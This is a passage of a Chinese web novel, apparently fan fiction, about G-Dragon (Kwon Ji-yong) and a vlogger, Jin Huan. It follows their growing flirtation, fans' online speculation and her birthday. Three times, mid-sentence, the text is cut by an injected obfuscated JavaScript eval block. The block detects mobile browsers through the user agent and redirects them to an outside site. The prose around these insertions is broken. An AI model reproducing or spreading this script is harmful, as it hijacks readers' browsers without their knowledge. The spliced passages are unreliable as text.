但眼睛不听话。她又抬起头,目光重新粘回DJ台上。 权至龙正在混一首慢歌,节奏降下来,旋律变得柔软。他再次抬头,目光又找到了她。 这一次,他没有移开。 两个人隔着整个舞池对视。灯光在他们之间变幻,紫色、蓝色、金色,交替打在彼此脸上。 权至龙的手没有停,音乐继续流淌,但他的眼睛一直看着金欢。 又过了几首歌,权至龙从DJ台下来,把耳机递给旁边的DJ,走回卡座,金欢正被朴春和CL拉起来。 “来都来了,跳一会儿!”朴春拉着金欢的手,眼睛亮晶晶的。 金欢不太会跳舞,就跟着节拍随意地晃了晃身体,肩膀动一动,腰轻轻扭两下,动作不大,但不知道为什么就是好看。 CL在旁边跟着节奏点头,看着金欢,忽然说了一句:“你跳舞挺好看的。” 金欢笑了:“我就随便扭扭。” “随便扭扭就好看,那认真跳还得了?”朴春接话。 旁边几个男生的目光开始往这边飘。一个模特端着酒杯走过来,想跟金欢搭话。 权至龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484929|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在卡座里,看着那个男生走近金欢,手指无意识地在膝盖上敲了两下。 那个男生刚开口说了句“你好”,权至龙就站了起来。 他走过去,走到金欢身边,自然地伸手搭了一下她的肩膀,力道不重,但那个姿势的意思很明确:这位是我的。 “跳累了吗?”他低头问金欢,声音不大,但刚好够旁边的人听到。 金欢看了他一眼,还没来得及回答,权至龙已经牵起她的手,往二楼的方向走。 “上去坐一会儿。下面太吵了。” 二楼是包厢区,比一楼安静很多。权至龙推开一个空包厢的门,让金欢先进去,然后关上了门。 金欢在沙发上坐下来,抬头看他:“你干嘛?人家还没说完话呢。” 权至龙在她旁边坐下,两个人之间隔了一个拳头的距离。 “说什么?” “不知道。没听到。” 权至龙看着她,眼睛里有一点认真,也有一点委屈:“你不觉得他看你的眼神不太对吗?” 金欢愣了一下,然后笑了:“什么叫不对?” “就是……”权至龙想了想措辞,“太直接了。” 金欢歪着头看他:“那你平时看我的眼神,属于‘对’的还是‘不对’的?” 权至龙被反将一军,耳朵红了。 他没有回答,而是把脸偏向一边,假装在看墙上的装饰画。 金欢看着他通红的耳朵,嘴角翘了起来。 楼下音乐还在继续,两个人就这么坐着,谁都没说话,但空气里有什么东西在发酵。 过了大概十分钟,权至龙站起来:“我送你回去。不早了。” 金欢点了点头,站起来的时候高跟鞋崴了一下,身体晃了晃。权至龙伸手扶住她的胳膊,力道刚好够稳住她。 “没事吧?” “没事。鞋跟太高了。” “那下次穿低一点的。” 金欢看了他一眼:“你管我穿什么。” 权至龙笑了:“不管。但摔了我心疼。” 金欢没接话,但走出包厢的时候,她的手没有从他的胳膊上拿开。 权至龙开车送金欢回家,车子停在金欢公寓楼下。 金欢穿上高跟鞋,拉开车门,一只脚踩在地上,回头看了他一眼。 “今天很开心。谢谢你的邀请。” “不客气。” 金欢关上车门,走了两步,忽然又折返回来,弯腰敲了敲车窗。 权至龙按下车窗。 金欢趴在车窗边,看着他:“那个杯子……我不是故意的。” 权至龙愣了一下,然后笑了:“哪个杯子?” 金欢看着他那张“我真的不知道你在说什么”的脸,深吸一口气。 “算了。晚安。” 她转身走了,高跟鞋踩在地上,哒哒哒哒。 权至龙看着她的背影,嘴角的弧度大到收不住。 他拿出手机,给金欢发了一条消息:“那个杯子的事,我不介意。你以后想喝,可以直接拿我的。” 金欢秒回:“滚。” 然后过了一分钟,她又发了一条:“晚安。” 权至龙把这条“晚安”截图保存,和他的收藏夹里其他金欢的“晚安”放在一起。 那个收藏夹,已经有六条了。 16. 全世界都知道他在炫耀 金欢发现自己变了。 以前她拿起手机,第一反应是回复工作消息、刷一刷评论区。现在她拿起手机,第一反应是打开和权至龙的聊天框。 早晨七点,金欢刚被初一踩醒,头发炸成一个鸟窝,眼睛还没完全睁开。她拿起手机发给权至龙:“初一把我踩醒的。你家iye也会踩你脸吗?” 权至龙秒回了一张照片——iye蹲在他胸口上,琥珀色的眼睛炯炯有神,配文:“每天。而且它不准我翻身。” 金欢在学校附近发现了一家新开的鲫鱼饼店。外皮烤得酥脆,红豆沙甜而不腻。她买了一个,咬了一口,拍了一段小视频发给权至龙:“这家鲫鱼饼好吃。红豆馅的。下次我带你去吃。” 权至龙:“明天就去找你。” 金欢:“我说的是下次。没说明天。” 权至龙:“对我来说,下次就是明天。” 金欢在剪视频的时候,五一干了一件大事——它把金欢刚洗好晾在阳台上的毛衣叼了下来,拖到客厅,咬出了三个洞。 金欢拍了一段“案发现场”的视频:五一蹲在毛衣旁边,嘴里还叼着一截毛线,尾巴心虚地夹着。她把视频发给权至龙:“五一今天又犯案了。这件毛衣我买了还没穿过。” 权至龙回了一个捂嘴笑的表情包,然后说:“我赔你。下次给你买新的。” 金欢:“不用。我自己会买。你管好你家iye别咬沙发就行。” 权至龙:“iye不咬沙发。它只咬我的限量版球鞋。” 金欢:“……那你比较惨。” 权至龙发了一条语音,声音有点哑:“今天录歌录了一天,嗓子不太舒服。” 金欢听到那个沙哑的声音,眉头皱了一下。她打字:“你喝点蜂蜜水。别喝冰的。也别喝酒。” 权至龙发了一个委屈的表情包:“家里没有蜂蜜。” 金欢沉默了两秒,然后说:“明天我给送。你别买了,我家里有,我妈寄来的土蜂蜜,比超市的好。” 第二天,金欢出现在YG大楼门口,手里提着一个袋子。 权至龙下楼来接她的时候,穿着一件灰色的卫衣,头发乱糟糟的,眼睛下面有淡淡的黑眼圈。他看到金欢,嘴角立刻翘了起来。 “你真来了。” “不然呢?我什么时候说话不算话过?”金欢把袋子递给他,“护嗓茶。罗汉果、胖大海、金银花、甘草,泡水喝。每天一包,喝完嗓子就不哑了。” 权至龙打开袋子,里面整整齐齐地码着十几个小茶包。又翻了翻,袋子里还有几个小罐子——一罐杏干、一罐山楂糕、一罐麻辣猪肉脯。 “还有一些山楂糕、果干什么的,肉干是上次那种。你嗓子不舒服就别吃太辣的,肉干少吃,先吃果干。” 权至龙看着袋子里的东西,沉默了一下。 “怎么了?”金欢问。 “没什么。”他的声音比平时低了一点,“就是……没人这么对过我。” 金欢看着他微微泛红的眼眶,心里软了一下,但嘴上不饶人:“行了别煽情了。记得喝。嗓子好了再给你做别的。嗓子不好,什么都没有。” 权至龙笑了:“好。我喝。一天一包,绝不偷懒。” 金欢点了点头,转身要走。权至龙忽然叫住她:“金欢。” “嗯?” “谢谢。” 金欢背对着他挥了挥手,没回头,但嘴角翘得很高。 从那以后,金欢给权至龙送东西就成了常态。 做多了的果干,分一罐给他;探店遇到好吃的,打包一份给他;初一和五一的零食做多了,也给他家iye和家虎带一份。 权至龙的工作室渐渐堆满了金欢送的东西:抽屉里放着果干和肉干,桌上摆着她推荐的各种茶包,冰箱里有她做的酱牛肉和泡菜,连键盘旁边都贴着一张她写的便签——“多喝水。少熬夜。嗓子不要了?” 权至龙的经纪人第一次看到那张便签的时候,愣了一下:“这谁写的?” 权至龙把便签按回桌上,语气认真:“别动。这是医嘱。” 经纪人:“……” 更明显的变化,发生在金欢的视频里,她的粉丝们是最敏锐的生物。 最新一期的“留韩日常”里,金欢坐在客厅里吃草莓,一边吃一边聊天。她穿着一件白色的毛衣,头发散着,笑盈盈地对着镜头说:“最近心情挺好的。没什么特别的原因,就是……天气不错。” 弹幕立刻炸了: 【等等,她笑得不对劲。这个笑不是平时那种哈哈哈的笑,是那种……带着蜜的笑。】 【金欢你老实交代,是不是谈恋爱了???】 【她以前吃草莓不会这样笑的。她以前吃草莓的时候会说“这个草莓有点酸,但便宜,忍了”。今天她什么都没说,就一直在笑。】 【你们看她的眼睛!她看镜头的时候眼神是散的!她不是在跟粉丝说话,她是在想某个人!】 【金欢你要是被绑架了就眨眨眼——不对,你要是谈恋爱了就眨眨眼。】 【我观察她三期了。她最近的状态明显不一样。以前她周末躺平是真的躺平,镜头都懒得开。现在她周末也会发动态了,而且发的都是些……生活碎片?一杯茶、一碟果干、窗外的云。这不就是恋爱中的女生会干的事吗?】 金欢看到这些评论,没有回应。但她在下一期视频的开头,对着镜头说了一句:“你们别猜了。有好事的时候我会告诉你们的。” 权至龙最近的行为,让所有认识他的人都产生了同一个疑问:他是不是谈恋爱了? 第一个发现异常的是李朱赫。 那天权至龙约他吃饭,刚落座,就从包里掏出一个小罐子,放在桌上。罐子是透明的,里面装着琥珀色的杏干,每一片都切得厚薄均匀,表面裹着一层薄薄的糖霜。 “金欢做的,”权至龙说,语气随意得像在说“今天天气不错”,但嘴角的弧度出卖了他,“她给我做了一罐。你尝尝。” 李朱赫面无表情地拿起一片杏干放进嘴里,嚼了嚼。确实好吃。但他更想说的是:你已经跟我说了三遍了。“金欢做的”“她给我的”。一顿饭还没开始,金欢的名字出现了四次。 但他没说,因为他知道说了也没用,权至龙根本不会意识到自己在炫耀。 第二个发现异常的是太阳。 那天在YG的录音室里,权至龙抱着一个保温杯进来,坐在沙发上,拧开盖子,一股罗汉果和胖大海的味道飘了出来。 太阳皱了皱鼻子:“你喝什么呢?闻起来像中药。” “护嗓茶,”权至龙吹了吹热气,小心地喝了一口,“金欢给我配的。一天一包,喝完嗓子特别舒服。” “你跟她……”太阳试探地问。 “什么?”权至龙抬起头,眼神无辜。 太阳看着他耳朵尖那一抹可疑的红色,笑了笑:“没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484930|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。你继续喝。” 经纪人发现权至龙最近随身携带一个便当盒。一个分层的小盒子,每层都装着不同的东西——果干、肉干、小饼干。权至龙会在录音间隙打开它,拿一块放进嘴里,然后露出一种“全世界我最幸福”的表情。 经纪人第一次看到的时候,以为他是在控制饮食,后来发现他吃完了还会给旁边的人炫耀:“这是金欢做的。好吃吧?买不到的。她专门给我做的。” 经纪人看着其他工作人员尴尬又不失礼貌的笑容,在心里默默叹了口气:这位哥,你知不知道你现在的行为,跟幼儿园小朋友炫耀“我妈妈给我带了最好吃的午餐”一模一样? 但真正让粉丝们炸锅的,是权至龙的ins,他开始频繁地发一些奇怪的内容。 一张杏干的照片,配文:“下午茶。” 一张保温杯的照片,配文:“今天嗓子好多了。” 一张窗外的云的照片,配文:“今天的天气,让人心情好。” 粉丝们一开始没在意,觉得欧巴最近可能走治愈系路线。但很快,有人发现了不对劲的地方。 【窗外的云那张照片,玻璃上有倒影。我放大了看,倒影里有一个模糊的身影,穿着白色毛衣,长发,好像在拍什么东西。这个身影……怎么那么像一个人?】 【像谁?】 【像……金欢?她最近一期视频里穿的就是白色毛衣。而且那个发型也像。】 【你们能不能别什么都往金欢身上扯?也许欧巴就是最近心情好呢?】 【心情好?他出道这么多年,你见过他因为“天气好”发ins吗?】 【而且你们注意到没有,他最近发的所有“日常”内容,都跟金欢视频里出现的东西有关。】 【所以你是说,他们在……同步生活?】 【我不是说他们在谈恋爱。我是说,如果这不是谈恋爱,那什么算谈恋爱?】 论坛上吵成了一锅粥。 有粉丝坚决否认:“GD不可能谈恋爱!他就是在享受生活!”有粉丝将信将疑:“这些东西确实有点巧合……但也不能说明什么吧?”还有一小撮粉丝已经开始嗑了:“不管是不是真的,我先嗑为敬。这两个人的互动也太甜了吧?” 权至龙看着这些讨论,嘴角翘得老高。 他把手机递给旁边的太阳:“你看,粉丝们在猜。” 太阳看了一眼屏幕,又看了一眼权至龙那张写满了“快问我是不是谈恋爱了”的脸,面无表情地说:“那你倒是澄清啊。” 权至龙收起手机,理直气壮:“又没什么好澄清的。” 太阳:“……你就是不想澄清。” 权至龙没说话,但耳朵红了。 与此同时,金欢也在看这些讨论。 她躺在沙发上,初一蹲在她胸口上,五一趴在她脚边。她翻着评论区,看到那些“金欢是不是谈恋爱了”“GD最近状态好奇怪”的帖子,嘴角不自觉地翘了起来。 初一用爪子拍了拍她的脸,意思是“你笑什么”。 金欢抓住初一的爪子,认真地说:“初一,你觉得……我要不要跟他在一起?” 初一舔了舔爪子,意思是“你们不是已经在一起了吗?你们天天聊天、送吃的、见面,就差领证了。你还问?” 金欢把脸埋进初一的毛里,闷闷地说:“可是他没说啊。他没说喜欢我,也没说要跟我在一起。万一他就是……把我当朋友呢?” 17. 生日快乐 金欢的自媒体事业,在2015年的秋天迎来了一波势不可挡的爆发。 金欢出门前,看着散落一地的零碎,忽然想:拍一期翻包吧,反正今天也没别的事可拍。 “朋友们,今天给你们看看我的包里都装了些什么。” 她先拿起包本身,对着镜头展示了一下——一个芥末黄的花园包。 她把包翻过来看了看:“这个包的好处是轻、能装、低调。” “好了,看里面。”她把包打开,倒扣过来,哗啦啦倒出一堆东西,在地毯上铺了一片。 “这个是零食。”她从包底掏出一个小密封袋,里面装着几块芒果干、鲜花饼和一小包猪肉脯,“自己做的。饿的时候垫一口。韩国的街头小吃虽然多,但有时候懒得停下来买,就自己带点。” “这个是,”金欢拿起一根细细长长、用布包裹着的东西,展开来——是一根木簪,“木簪。檀木的,爷爷给我做的。这个一簪就行,三秒钟搞定。” 她把头发随手挽起来,用木簪一插一别,一个松散的发髻就成型了。几缕碎发垂在耳边,衬得她的侧脸线条格外柔和。 “好看吧?这样头发要盘起来显得精神。” 【求同款木簪】 【这个发簪太好看了吧】 “还有笔记本。”她拿出一本黑色封皮的Moleskine笔记本,封面上贴着一张小小的贴纸,一只卡通边牧,吐着舌头。“这个本子用来记灵感。想到什么选题、路过什么好店、听到什么有趣的话,随手写下来。” 她翻开本子,迅速用手遮了一下,但眼尖的弹幕还是捕捉到了某一页露出的几个字——“护嗓茶”“罗汉果”“权——” 金欢面不改色地把本子合上:“下一个。” “电脑。”电脑外壳上贴满了贴纸......星黛露、初一、五一。“剪视频用的。有时候在学校图书馆突然想剪片子,或者在外面等咖啡的时候处理一下素材。这个包刚好能装下13寸的,很能装。” “最重要的,也是重中之重。”她故意拖长了音,从包侧面掏出一个东西——星黛露挂件。 星黛露穿着一件小小的手织毛衣,粉白条纹,头顶还戴着一顶同色系的小贝雷帽。 “这个,”金欢把星黛露举到镜头前,语气里带着一点小得意,“是我自己给她做的。衣服、帽子,都是我一针一针织的。这件毛衣我织了三个晚上,拆了两次才成功。” 她把星黛露翻过来,展示毛衣背面——背面居然还织了一个小小的“H”字母。 “星黛露是我的精神图腾。她每天挂在我包上,陪我去上学、去探店、去剪视频。有了这件小毛衣,她冬天就不冷了。” 弹幕彻底炸了: 【金欢你还有什么是不会的!!!】 【求星黛露毛衣教程!!!我也想给我的露露织一件!!!】 【这个手工能力,不愧是裁缝姥姥的外孙女!】 【金欢你考虑量产吗?我买爆!!!】 “还有相机,有时候探店或者出门旅行,手机不够用,就用这个。轻便、画质好、直出颜色好看。我懒得修图,所以富士是我的首选。” 她对着镜头举了举相机:“你们看到的大部分素材,都是这台相机拍的。它跟了我两年了,镜头盖丢过两个,但机身一点划痕都没有。我很爱惜东西的。” “这就是我出门的全部家当,”金欢拍了拍手,“看着多,其实不重。而且这些东西每一样都有用,没有一件是多余的。” 她想了想,又补了一句:“哦对了,猫毛滚轮忘记拍了。那个也是必备。养猫的人懂的都懂。初一,你看到了吗?你妈妈每天带着你的毛走遍首尔。” 金欢对着镜头笑了笑:“好了,今天的翻包就到这里。你们出门都带什么?可以在评论区告诉我。拜拜!” 视频发出后的四十八小时内,播放量破了八百万。 评论区彻底沦陷: 【金欢的包是我的梦中情包合集……花园包、Moleskine、富士,每一样都在我的审美上蹦迪。】 【那个木簪!!!我截图去淘宝搜了,没有同款!!!金欢你爷爷能不能批量生产!!!】 【星黛露的小毛衣!!我死了!!这也太可爱了吧!!!金欢你出教程吧求求了!!!】 【只有我注意到她笔记本上写了“护嗓茶”和“权”吗?那个“权”字……不会是权至龙吧?】 【楼上你不是一个人。我也看到了。而且她遮得很快,明显是不想让我们看到。】 【花园包已经卖断货了我刚去官网看36芥末黄全网无货……金欢你这是什么样的带货能力???】 【义乌速度永远的神——我刚刷到淘宝已经有“金欢同款木簪”了,还有“星黛露手织毛衣”的链接。这才两天!!!】 【我已经下单了木簪和星黛露毛衣材料包。金欢你要是收推广费,你现在已经是富婆了。】 【她本来就是富婆。拆三代+自媒体顶流。她不需要推广费,她是行走的种草机。】 金欢自己也没想到这期视频会爆成这样。她后来在直播里说:“我就是翻了个包,你们至于吗?” 【至于!!!你翻的不是包,是我的购物清单!!!】 而义乌反应迅速,视频发出后第三天,淘宝上出现了“金欢同款檀木发簪”、“星黛露手工毛衣材料包”上架。连Moleskine笔记本的销量都涨了百分之三十。 最夸张的是爱马仕花园包。这本来不是一款特别难买的包,但视频发出后一周内,36尺寸芥末黄花园包全部售罄,中古市场的价格直接翻了一番。 金欢后来在视频里说:“爱马仕没给我打钱。真的没有。你们别问了。我自己都没买到第二个。” 【哈哈哈哈哈哈带货女王实锤】 十月十八日,金欢的生日。 零点零分,手机响了。 金欢正在敷面膜,脸上糊着一层绿色的泥,头发用浴帽包着,整个人看起来像一只外星生物。她伸手够到手机,屏幕亮起来,是一条消息。 权至龙:“生日快乐。第一个。” 后面跟了一个蛋糕的表情符号,一个礼物的表情符号,还有一个星星。 金欢盯着“第一个”这两个字看了三秒钟,嘴角翘了起来,面膜在她脸上裂开一道缝。 她回复:“你不是在巡演吗?这个点还没睡?” 权至龙秒回:“刚结束,回酒店洗完澡,等着给你发消息。你的生日,我不能第一个到,但祝福必须是第一个。” 金欢看着这行字,把手机扣在胸口,深呼吸了一次,面膜又裂了一道缝。 她打了几个字:“谢谢。你早点睡,明天还要演出。” 权至龙发来一条语音。金欢点开,他的声音带着笑意,低沉又温柔,背景里隐约能听到酒店空调的嗡嗡声:“不着急。我还有东西要给你。不是实物,是照片。” 他发来一张照片——一条项链,躺在黑色的绒布上。银色的链条细细的,坠子是一个小小的圆形吊坠,像一枚硬币大小,表面刻着细腻的纹路。金欢放大照片——吊坠正面是一朵小小的雏菊,背面刻着一行字:“Huan.” 她的名字。 紧接着又是一条语音:“我在大阪巡演的时候,路过一家首饰店,在橱窗里看到这条项链。当时就觉得,它很适合你。不是因为它贵,是因为……雏菊的花语是‘深藏在心底的爱’。而且你名字的拼音,刻上去刚刚好。” 金欢听着这段话,喉咙有点紧。 她打字:“太贵重了。我不能要。” 权至龙的语音来得很快,这次语气里带着一点认真,一点小心翼翼,还有一点不容拒绝的笃定:“我们不是朋友吗?朋友送生日礼物,没有拒绝的道理。” 金欢盯着“朋友”这两个字,嘴角翘了一下。 朋友。行吧。朋友送的礼物,确实没有退回去的道理。 “那等你回来再给我。别寄,寄丢了我跟你急。” 权至龙秒回,语气里带着笑意:“好。等我回去,亲手给你戴上。” 金欢的耳朵尖红了。她把脸上的面膜揭下来,扔进垃圾桶,擦了擦手,重新拿起手机。 “行。那你早点睡。晚安。” 权至龙发来最后一条语音,声音里带着一点撒娇的尾音:“晚安,老西。生日快乐。” 金欢把这条语音听了两遍,嘴角一直翘着。 中午,金欢发了一条ins。 照片是在首尔的一家咖啡馆拍的。她穿着一件奶白色的针织衫,头发用那根木簪随意地盘在脑后,几缕碎发垂在耳边。阳光从落地窗斜照进来,落在她的侧脸上,漂亮的不像真人。 她的脖子上空空的——那条项链还没拿到,权至龙还在巡演。 照片的构图很简单:她坐在窗边,手里端着一杯拿铁,面前放着一小块提拉米苏,蛋糕上插着一根小蜡烛。她的目光没有看镜头,而是微微偏向窗外,嘴角带着一丝若有若无的笑意。 整张照片的色调是暖黄色的,有一种旧电影的氛围感。 配文只有一行字:“又长了一岁。谢谢惦记。” 李朱赫:“我们金欢又大一岁了!生日快乐!下次吃饭我请客!” 李朱赫:“生日快乐。初一和五一的零食我已经送过去了,别跟我抢。” 林夕从从北京隔空发来一串感叹号:“金欢!!!你又老了一岁!!!但我还是爱你!!!生日快乐!!!礼物收到了吗!!!围巾喜欢吗!!!” 然后是一众认识的朋友,纷纷留言祝福。 最后,权至龙的评论出现在大约二十分钟后。 生日快乐。”——韩语,规规矩矩的。 但配了一张图,是一张旧照片——金欢之前发过的,她站在首尔的银杏树下,穿着白色卫衣,笑得眼睛弯成月牙形。权至龙把这张照片存了,今天发出来,配了一个小小的雏菊表情。 粉丝们的雷达瞬间响了: 【等等,GD你怎么有金欢的这张照片?你没有点赞也没有评论,但你存了???】 【他存了她的照片。在手机里。存了两个月。】 【而且他选在今天发。金欢生日。他没有发自己的照片,没有发蛋糕,没有发礼物,他发了金欢的照片。】 【这个操作……朋友们,这不是普通朋友会做的事。】 【冷静,也许他就是觉得这张照片拍得好呢?】 【你觉得权至龙是那种会存别人照片还专门挑生日发出来的人吗?】 金欢看着权至龙的评论,嘴角翘了一下。她没有回复他的评论,而是单独给他发了条消息:“你存了我的照片?” 权至龙秒回:“存了。好看。” 金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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9L:我是金欢的粉丝,路过说一下我的观察。金欢最近的状态明显不一样了。她的视频里开始出现一些“奇怪”的东西,比如笔记本上写“护嗓茶”,她以前不会在视频里露出任何指向性这么强的内容。她是一个很谨慎的人。 10L:所以你是说,她不介意被人看到这些?甚至……有点想让人看到? 11L:我不知道。但我知道GD的冰箱里曾经出现过老干妈、红枣、枸杞,而这些东西金欢的视频里都出现过。这个巧合,你们觉得还能用偶然来解释吗? 12L:那个冰箱事件已经过去一阵子了,当时大家讨论了半天,最后不了了之。但现在回头看,那些东西不就是金欢视频里推荐的吗?GD那时候就已经在看她的视频了。 13L:所以GD从2014年就开始关注金欢? 14L:你们觉得他们这是什么关系? 15L:朋友。就是朋友。你们不要过度解读。 16L:朋友会存对方的照片存两个月?我连我闺蜜的照片都不会存两个月。我连我自己的照片都不会存两个月。 17L:GD是艺术家,艺术家对美的感知不一样。也许他就是单纯觉得那张照片拍得好,构图好、光影好,所以存了。今天金欢生日,他发出来表达欣赏和祝福。这有什么问题? 18L:那为什么不在金欢当初发的时候就点赞评论?要等到两个月后?因为他不想在当时引起注意。他不想让别人知道他存了这张照片。但他今天忍不住了。 19L:忍不住了。这个词用得好。 20L:我是老粉,从09年开始追GD。我告诉你们,他从来没有这样过,从来没有。他谈恋爱的时候藏得比谁都深,但这次,他没有藏。或者说,他藏不住了。 21L:所以你的意思是,他们真的在一起了? 22L:不一定在一起,但绝对不是普通朋友。普通朋友不会这样。 23L:我不信。我不信GD会喜欢一个中国博主。他不是一直喜欢樱花妹吗? 24L:楼上,你这话有国籍歧视的嫌疑。而且人的喜好是会变的。再说了,金欢不是“中国博主”四个字就能概括的。你去看看她的视频,她真的很有意思。 25L:我看了。看了之后我理解GD为什么会被吸引了。她不是那种刻意讨好谁的人,她活得很真实。而且她很聪明,是那种不显山露水的聪明。 26L:你们越说我越慌。所以我担真的在谈恋爱? 27L:就算在谈又怎样?GD马上就三十了,谈个恋爱不正常吗?你们难道想让他孤独终老? 28L:不是反对他谈恋爱。是……对象是中国人?还是博主?总感觉哪里不太对。 29L:哪里不对?金欢家世清白、学历高、事业成功、长得漂亮、性格好。你倒是说说哪里配不上? 30L:行了别吵了。不管他们是什么关系,目前都没有官宣。我们在这猜来猜去也没用。静观其变吧。 31L:静观其变+1。但如果他们真的在一起了……我好像也不会太意外。 32L:我不会意外+1。从冰箱事件开始,我就觉得这两个人之间有事。 33L:不管怎样,GD今天发的这张照片,我会珍藏。拍得真的很好看。 34L:金欢那张照片确实好看。那种氛围感,不是摆拍能摆出来的。是那个瞬间,她就是那个样子。 35L:所以GD存了。因为他觉得那个瞬间很美。因为他在意她。 36L:楼主最后说一句:不管他们是什么关系,我只希望GD幸福。如果他真的喜欢金欢,那我就支持。虽然我现在心情很复杂。 ——帖子暂封—— 18. 掐灭 金欢以为自己藏得很好,自认为在权至龙面前的表现堪称完美:消息回复得不快不慢,语气保持着恰到好处的随意,他送东西时说谢谢但不表现出过度惊喜。 满分,金欢给自己打分。 直到那天权至龙来她家吃饭,金欢在厨房炒菜,他在客厅逗五一。油锅滋滋响,抽油烟机嗡嗡转,她隐约听到权至龙在跟五一说话,语气跟哄小孩似的:“五一啊,你妈今天做的什么?红烧肉?你喜不喜欢吃红烧肉?我喜欢。你妈做的我都喜欢。” 金欢的铲子顿了一下。 然后权至龙又开口了,这次声音大了一点,明显是说给她听的:“五一,你妈是不是喜欢我?” 金欢的铲子直接掉进了锅里,手忙脚乱地捞出来,假装被油烟呛到,咳了两声掩盖过去。 吃饭的时候,金欢全程埋头扒饭,话比平时少了不少。 吃到一半,权至龙忽然放下筷子,看着她。 “金欢。” “嗯?” “你耳朵红了。” 金欢下意识摸了一下耳朵,面不改色地说:“厨房热的。” “哦,”权至龙点点头,嘴角弯了一下,,“热的。” 他那个“哦”字,拖了半拍。 吃完饭,权至龙洗完碗,擦着手走出来,站在阳台门口。 “金欢。” “嗯?” “你最近看我的眼神,跟以前不太一样。” 金欢的手停在半空中。她没有回头,继续给发财树喷水,语气平淡:“哪里不一样?” “以前是......”权至龙想了想,“这人挺有意思。” “现在呢?” “这人我有点喜欢。” 金欢沉默了几秒,转过头继续喷水。 “你想多了。” “行,”他说,“那我继续等。等到你不想多的时候。” 金欢把喷壶对准发财树的叶子,水流顺着叶脉淌下来。她没有回头,但耳朵尖又红了。她不知道的是,权至龙把那一截泛红的耳尖看得清清楚楚。 他已经知道了。他早就知道了。只是他在等她自己承认。 “林夕。” “嗯?” “我喜欢上一个人。” 视频那头,林夕正在涂指甲油的手停了下来。她抬起头,盯着屏幕里的金欢,眼睛慢慢眯起来。 “谁?” “一个男生。” “废话,难道还能是女生?我问你是谁。” 金欢靠在沙发上,怀里抱着星黛露,下巴搁在兔子耳朵上。她犹豫了一下说:“他也在追我。” “所以你们是双向的?” “嗯。” “多久了?” “没多久吧。暧昧期。” 林夕沉默了两秒,然后忽然问了一个让金欢心脏骤停的问题。 “是不是权至龙?” 金欢愣住了,张了张嘴,脑子里飞速运转——她从来没跟林夕提过她跟权至龙的任何事。林夕怎么会—— “你怎么知道?” 林夕翻了个白眼:“你每次提到他的时候,整个人眼里带着光。你以前说‘权至龙不是我喜欢的类型’的时候,是那种事不关己的语气。现在你提到他,声音会变软,眼睛会往旁边飘,嘴角会翘起来。你骗得过我?” 金欢把脸埋进星黛露的肚子里,闷闷地说:“这么明显吗?” “超明显。” “那他是不是也看出来了?” “他要是连这都看不出来,那他白谈那么多恋爱了。” 金欢看着屏幕里的林夕,问了一个她一直想问但不敢问的问题:“林夕,我跟你偶像谈恋爱,你会不会不爽?” “说实话,是有点不爽。” 金欢的心往下沉了一下。 “但是呢——”林夕话锋一转,“我后来又想了。你是我最好的朋友,他是我追了十年的偶像。你俩要是在一起了,我是不是就能近距离追星了?我是不是就能参与到他的生活中了?我是不是就能......以你闺蜜的身份,去他家撸iye、顺便偶遇他......?” 金欢:“……” “所以结论是,”林夕一拍大腿,“这可太爽了!” 金欢被她这套逻辑绕得哭笑不得,但林夕的笑容没有持续太久,她把手机支在桌上,表情变得认真起来。 “不过欢欢,说真的。你想清楚了吗?” “他是我偶像,我喜欢他十年了,他的歌陪我度过了最难的时候。但正因为我追了他这么久,我知道他是什么样的人。”林夕的声音缓下来,“他的女人缘好到爆炸。他站在那里就有人往上贴的那种好。出道这么多年,绯闻女友数不胜数。” “我知道。”金欢说。 “他前女友很多。有模特,有爱豆,有圈外的。” “我知道。” “都说他爱情里会冷暴力。忙起来就消失,心情不好的时候谁都不理,需要你的时候又要你立刻出现。” “我知道。” “跟顶级爱豆谈恋爱,你要承受很大的压力。粉丝会扒你的一切,媒体会盯着你的一举一动,你吃什么穿什么跟谁出门都会被放大解读。你现在的自媒体事业做得这么好,可能会受到影响。” “我知道。” 林夕停了一下,看着屏幕里金欢平静的脸,“你知道,但你还是要往上撞?” “欢欢,你玩不过他。”林夕的声音变得很轻,“他是权至龙。在娱乐圈摸爬滚打十几年,什么人没见过,什么手段没经历过。你一个谈恋爱都没谈过的人,你拿什么跟他玩?” 金欢低下头,手指无意识地摩挲着星黛露的耳朵。 “我不想你受伤。”林夕最后说,“我不想看到你哭。” 视频两头都安静了,过了很久,金欢开口了,声音很轻。 “我知道了。” “你想清楚了?” “嗯。我会想清楚的。” 金欢想了整整三天,最终把权至龙送的东西一件一件放回盒子里,盖上盖子,放进衣柜最深的角落。 “我想清楚了。” 她的声音很轻,但很确定。 “权至龙这款,我hold不住。” 不是不喜欢。是喜欢也没用。 金欢在脑海里把账算得清清楚楚:他是顶级爱豆,她是普通人——充其量算个网红。他的世界里有无数比她漂亮、比她有背景的女人。他对她的喜欢,是新鲜感还是真心?是一时兴起还是蓄谋已久?她分不清。林夕说得对,他女人缘太好,前女友太多,爱情里的冷暴力是圈内人人都知道的事。她金欢一个恋爱经验约等于零的人,拿什么跟他玩? 